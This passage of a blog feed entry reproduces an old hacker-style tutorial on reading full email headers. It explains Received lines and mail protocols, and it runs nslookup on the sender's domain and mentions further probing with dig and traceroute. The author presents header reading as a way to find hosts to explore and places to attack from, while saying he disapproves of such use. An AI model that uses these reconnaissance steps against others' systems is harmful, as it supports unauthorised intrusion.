&lt;hacker@techbroker.com&gt; ; Fri, 1 March 2002&lt;br /&gt;From: Vegbar Fubar &lt;fooha@ifi.foobar.no&gt;&lt;br /&gt;Received: from localhost (Vegbarha@localhost) by gyllir.ifi.foobar.no ; Fri,&lt;br /&gt;1 March 2002&lt;br /&gt;Date: Fri, 1 March 2002&lt;br /&gt;Message-Id: &lt;199704111809.13156.gyllir@ifi.foobar.no&gt;&lt;br /&gt;To: hacker@techbroker.com&lt;br /&gt;&lt;br /&gt;Hey, have you ever wondered why all that stuff is there and what it means?&lt;br /&gt;We'll return to this example later in this tutorial. But first we must&lt;br /&gt;consider the burning question of the day:&lt;br /&gt;&lt;br /&gt;WHY ARE HEADERS FUN?&lt;br /&gt;&lt;br /&gt;Why bother with those "fucking" headers? They are boring, right? Wrong!&lt;br /&gt;&lt;br /&gt;1) Ever hear a wannabe hacker complaining he or she doesn't have the&lt;br /&gt;addresses of any good computers to explore? Have you ever used one of those&lt;br /&gt;IP scanner programs that find valid Internet Protocol addresses of Internet&lt;br /&gt;hosts for you? Well, you can find gazillions of valid addresses without the&lt;br /&gt;crutch of one of these programs simply by reading the headers of emails.&lt;br /&gt;&lt;br /&gt;2) Ever wonder who really mailed that "Make Money Fast" spam? Or who is that&lt;br /&gt;klutz who email bombed you? The first step to learning how to spot email&lt;br /&gt;forgeries and spot the culprit is to be able to read headers.&lt;br /&gt;&lt;br /&gt;3) Want to learn how to convincingly forge email? Do you aspire to write&lt;br /&gt;automatic spam or email bomber programs? (I disapprove of spammer and email&lt;br /&gt;bomb programs, but let's be honest about the kinds of knowledge their&lt;br /&gt;creators must draw upon.) The first step is to understand headers.&lt;br /&gt;&lt;br /&gt;4) Want to attack someone's computer? Find out where best to attack from the&lt;br /&gt;headers of their email. I disapprove of this use, too. But I'm dedicated to&lt;br /&gt;telling you the truth about hacking, so like it or not, here it is.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HOW CAN YOU SEE FULL HEADERS?&lt;br /&gt;&lt;br /&gt;So you look at the headers of your email and it doesn't appear have any good&lt;br /&gt;stuff whatsoever. Want to see all the hidden stuff? The way you do this&lt;br /&gt;depends on what email program you are using.&lt;br /&gt;&lt;br /&gt;The most popular email program today is Eudora. To see full headers in&lt;br /&gt;Eudora, just click the "blah, blah, blah" button on the far left end of the&lt;br /&gt;tool bar.&lt;br /&gt;&lt;br /&gt;The Netscape web browser includes an email reader. To see full headers,&lt;br /&gt;click on Options, then click the "Show All Headers" item.&lt;br /&gt;&lt;br /&gt;Sorry, I haven't looked into how to do that with Internet Explorer. Oh, no,&lt;br /&gt;I can see the flames coming, how dare I not learn the ins and outs of IE&lt;br /&gt;mail! But, seriously, IE is a dangerously insecure Web browser because it is&lt;br /&gt;actually a Windows shell. So no matter how often Microsoft patches its&lt;br /&gt;security flaws, chances are you will be hurt by it one of these days. Just&lt;br /&gt;say "no" to IE.&lt;br /&gt;&lt;br /&gt;Another popular email program is Pegasus. Maybe there is an easy way to see&lt;br /&gt;full headers in Pegasus, but I haven't found it. The hard way to see full&lt;br /&gt;headers in Pegasus -- or IE -- or any email program -- is to open your mail&lt;br /&gt;folders with Wordpad. It is included in the Windows 95 operating system and&lt;br /&gt;is the best Windows editing program I have found for handling documents with&lt;br /&gt;lots of embedded control characters and other oddities.&lt;br /&gt;&lt;br /&gt;The Compuserve 3.01 email program automatically shows full headers. Bravo,&lt;br /&gt;Compuserve!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WHAT DOES ALL THAT STUFF IN YOUR HEADERS MEAN?&lt;br /&gt;&lt;br /&gt;We'll start by taking a look at a mildly interesting full header. Then we'll&lt;br /&gt;examine two headers that reveal some interesting shenanigans. Finally we&lt;br /&gt;will look at a forged header.&lt;br /&gt;&lt;br /&gt;OK, let us return to that fairly ordinary full header we looked at above. We&lt;br /&gt;will decipher it piece by piece. First we look at the simple version:&lt;br /&gt;&lt;br /&gt;From: Cool Guy&lt;coolguy@ifi.foobar.no&gt;&lt;br /&gt;Date: Fri, 1 March 2002&lt;br /&gt;To: hacker@techbroker.com&lt;br /&gt;&lt;br /&gt;The information within any header consists of a series of fields separated&lt;br /&gt;from each other by a "newline" character. Each field consists of two parts:&lt;br /&gt;a field name, which includes no spaces and is terminated by a colon; and the&lt;br /&gt;contents of the field. In this case the only fields that show are "From:,"&lt;br /&gt;"Date:," and "To:".&lt;br /&gt;&lt;br /&gt;In every header there are two classes of fields: the "envelope," which&lt;br /&gt;contains only the sender and recipient fields; and everything else, which is&lt;br /&gt;information specific to the handling of the message. In this case the only&lt;br /&gt;field that shows which gives information on the handling of the message is&lt;br /&gt;the Date field.&lt;br /&gt;&lt;br /&gt;When we expand to a full header, we are able to see all the fields of the&lt;br /&gt;header. We will now go through this information line by line.&lt;br /&gt;&lt;br /&gt;Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI)for&lt;br /&gt;techbr@fooway.net id OAA07210; Fri, 1 March 2002&lt;br /&gt;&lt;br /&gt;This line tells us that I downloaded this email from the POP server at a&lt;br /&gt;computer named o200.fooway.net. This was done on behalf of my account with&lt;br /&gt;email address of techbr@fooway.net. The (950413.SGI.8.6.12/951211.SGI) part&lt;br /&gt;identifies the software name and version running that POP server.&lt;br /&gt;&lt;br /&gt;********************************************&lt;br /&gt;Newbie note: POP stands for Post Office Protocol. Your POP server is the&lt;br /&gt;computer that holds your email until you want to read it. Usually your the&lt;br /&gt;email program on your home computer or shell account computer will connect&lt;br /&gt;to port 110 on your POP server to get your email.&lt;br /&gt;A similar, but more general protocol is IMAP, for Interactive Mail Access&lt;br /&gt;Protocol. Trust me, you will be a big hit at parties if you can hold forth&lt;br /&gt;on the differences between POP and IMAP, you big hunk of a hacker, you!&lt;br /&gt;(Hint: for more info, RTFRFCs.)&lt;br /&gt;********************************************&lt;br /&gt;&lt;br /&gt;Now we examine the second line of the header:&lt;br /&gt;&lt;br /&gt;Received: from ifi.foobar.no by o200.fooway.net via ESMTP&lt;br /&gt;(950413.SGI.8.6.12/951211.SGI)for &lt;hacker@techbroker.com&gt; id OAA18967; Fri,&lt;br /&gt;1 March 2002&lt;br /&gt;&lt;br /&gt;Well, gee, I didn't promise that this header would be *totally* ordinary.&lt;br /&gt;This line tells us that a computer named ifi.foobar.no passed this email to&lt;br /&gt;the POP server on o200.fooway.net for someone with the email address of&lt;br /&gt;hacker@techbroker.com. This is because I am piping all email to&lt;br /&gt;hacker@techbroker.com into the account techbr@fooway.net. Under Unix this is&lt;br /&gt;done by setting up a file in your home directory named ".forward" with the&lt;br /&gt;address to which you want your email sent. Now there is a lot more behind&lt;br /&gt;this, but I'm not telling you. Heh, heh. Can any of you evil geniuses out&lt;br /&gt;there figure out the whole story?&lt;br /&gt;&lt;br /&gt;"ESMTP" stands for "extended simple mail transfer protocol." The&lt;br /&gt;"950413.SGI.8.6.12/951211.SGI" designates the program that is handling my email.&lt;br /&gt;&lt;br /&gt;Now for the next line in the header:&lt;br /&gt;&lt;br /&gt;Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no&lt;br /&gt;[129.xxx.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4) id&lt;br /&gt;&lt;uaa24351@ifi.foobar.no&gt; for &lt;hacker@techbroker.com&gt; ; Fri, 1 March 2002&lt;br /&gt;&lt;br /&gt;This line tells us that the computer ifi.foobar.no got this email message&lt;br /&gt;from the computer gyllir.ifi.foobar.no. These two computers appear to be on&lt;br /&gt;the same LAN. In fact, note something interesting. The computer name&lt;br /&gt;gyllir.ifi.foobar.no has a number after it, 129.xxx.64.230. This is the&lt;br /&gt;numerical representation of its name. (I substituted ".xxx." for three&lt;br /&gt;numbers in order to fubar the IP address.) But the computer ifi.foobar.no&lt;br /&gt;didn't have a number after its name. How come?&lt;br /&gt;&lt;br /&gt;Now if you are working with Windows 95 or a Mac you probably can't figure&lt;br /&gt;out this little mystery. But trust me, hacking is all about noticing these&lt;br /&gt;little mysteries and probing them (until you find something to break,&lt;br /&gt;muhahaha -- only kidding, OK?)&lt;br /&gt;&lt;br /&gt;But since I am trying to be a real hacker, I go to my trusty Unix shell&lt;br /&gt;account and give the command:&lt;br /&gt;&lt;br /&gt;&gt;nslookup ifi.foobar.no&lt;br /&gt;&lt;br /&gt;Server:  Fubarino.com&lt;br /&gt;Address:  198.6.71.10&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:    ifi.foobar.no&lt;br /&gt;Address:  129.xxx.64.2&lt;br /&gt;&lt;br /&gt;Notice the different numerical IP addresses between ifi.foobar.no and&lt;br /&gt;gyllir.ifi.foobar.no. Hmmm, I begin to think that the domain ifi.foobar.no&lt;br /&gt;may be a pretty big deal. Probing around with dig and traceroute leads me to&lt;br /&gt;discover lots more computers in that domain. Probing with nslookup in the&lt;br /&gt;mode "set type=any" tells me yet more.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-4542429538649523856?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/4542429538649523856/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/howto-read-email-header.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/4542429538649523856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/4542429538649523856'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/howto-read-email-header.html' title='Howto Read Email Header'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry></feed>
